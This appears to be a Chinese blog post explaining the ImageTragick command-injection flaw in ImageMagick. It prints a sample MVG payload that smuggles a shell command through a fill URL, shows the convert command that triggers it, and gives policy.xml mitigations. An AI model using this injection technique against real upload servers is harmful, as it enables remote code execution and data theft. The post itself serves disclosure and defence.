ImageMagick是一款广泛流行的图像处理软件,有无数的网站(国内国外都有)使用它来进行图像处理,本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。

在这个安全漏洞公布之后,这一漏洞的EXP也随即被发布,并被命名为:ImageTragick。漏洞的EXP已经通过邮件和论坛广泛传播。

ImageMagick被许多编程语言所支持:Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如:WordPress、Drupal、Discuz!。

该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。

换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。

漏洞利用:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

将代码保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它

convert exploit.jpg out.png

此时,ImageMagick就会去执行嵌入的代码/命令:ls -la命令。

漏洞防御:

1.在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型,即:检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等,这样,才能准确判断是否为文件图片。

2.使用策略配置文件来禁用ImageMagick的有风险的编码器,可在 "/etc/ImageMagick/policy.xml" 文件中添加如下代码:

<policymap>
    <policy domain="coder" rights="none" pattern="EPHEMERAL">
    <policy domain="coder" rights="none" pattern="URL">
    <policy domain="coder" rights="none" pattern="HTTPS">
    <policy domain="coder" rights="none" pattern="MVG">
    <policy domain="coder" rights="none" pattern="MSL">
</policymap>

此时,若再运行:convert exploit.jpg out.png,就无法再执行ls -la命令了。

EXP:https://www.exploit-db.com/exploits/39767

ImageTragick Exploit & Fix的更多相关文章

  1. linux提权辅助工具(一):linux-exploit-suggester.sh

    来自:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ...

  2. nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit

    测试方法: 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! #nginx 1.3.9/1.4.0 x86 brute force remote exploit # copyri ...

  3. Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)

    In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...

  4. An iOS zero-click radio proximity exploit odyssey

    NOTE: This specific issue was fixed before the launch of Privacy-Preserving Contact Tracing in iOS 1 ...

  5. PhpStorm和WAMP配置调试参数,问题描述Error. Interpreter is not specified or invalid. Press “Fix” to edit your project configuration.

    PhpStorm和WAMP配置调试参数 问题描述: Error. Interpreter is not specified or invalid. Press “Fix” to edit your p ...

  6. No-args constructor for class X does not exist. Register an InstanceCreator with Gson for this type to fix this problem.

    Gson解析JSON字符串时出现了下面的错误: No-args constructor for class X does not exist. Register an InstanceCreator ...

  7. Eclipse ndk fix插件开发

    一. 手工修复ndk环境bug Eclipse做ndk开发的时候, 经常会遇到编译过去,却报语法错误的问题,比如 ①. 头文件不识别 ②. 头文件识别了, 类型不识别 针对这一的bug,我们一般按照如 ...

  8. How to Fix GNOME License Not Accepted Issue on CentOS 7

    This post assume that you have just finished the Gnome GUI installation on CentOS 7 by using “yum gr ...

  9. CVE-2015-7645 analyze and exploit

    Hack team之后adobe和google合作对flash进行了大改,一度提高了flash的利用门槛,CVE-2015-7645作为第一个突破这些限制的漏洞利用方式,可以作为vetect利用方式之 ...

随机推荐

  1. NHibernate中session.update()及session.merge()的区别

    今天的工作中遇到一个奇怪的问题,如下: "a different object with the same identifier value was already associated w ...

  2. 扩展easyUI tab控件,添加加载遮罩效果

    项目里要用HighChart显示图表,如果返回的数量量太多,生成图表是一个很耗时的过程.tab控件又没有显示遮罩的设置(至少本菜是没有找到), Google了一下,根据另一个兄台写的方法,拿来改造了一 ...

  3. JSP导入EXCEL样式

    http://demo.gcpowertools.com.cn/spreadjs/exceliosample/exceliosample/ Java实现导入Excel: 1.做一个jsp页面,页面包括 ...

  4. Detected both log4j-over-slf4j.jar AND slf4j-log4j12.jar on the class path, preempting StackOverflowError

    Caused by: java.lang.IllegalStateException: Detected both log4j-over-slf4j.jar AND slf4j-log4j12.jar ...

  5. Hive 按某列的部分排序 以及 删列操作

    脑袋果然还是智商不足. 涉及到的小需求: 某个表test 有一列 tc: a字符串+b字符串+c字符串 拼接组成 把test表,按b字符串排序 输出 遇到的问题: select 里面必须包含 orde ...

  6. hive 使用笔记(table format;lateral view)

    1. create table 创建一张目标表,指定分隔符和存储格式: create table tmp_2 (resource_id bigint ,v int) ROW FORMAT DELIMI ...

  7. linux ipv6临时地址

    在Ubuntu系统上想要通过ipv6来上网,结果发现通过DHCP获取到了ipv6地址却无法连接外网. ping6 ipv6.google.com 数据包有去无回,100% loss . 奇怪的是通过D ...

  8. Linux、Windows Server Password Security Policy Strengthen

    catalog . windows Security and Protection(Logon and Authentication) . windows密码强制安全策略 . PAM(Pluggabl ...

  9. J-link烧写brjtag工具

    J-Link用的山寨货,不知道山寨了几代的那种....用的STM32F103C8T6的小板也是山寨了好几代那种,才25块钱...好在能用,J-Link用segger公司的软件能识别,也能找到CPU,板 ...

  10. C语言实现贪吃蛇源码

    先放效果 源代码 //2016-2-12 //zhaoyu //Gmail:zhaoyu1995.com@gmail.com //Language: C //Platform:Code::Blocks ...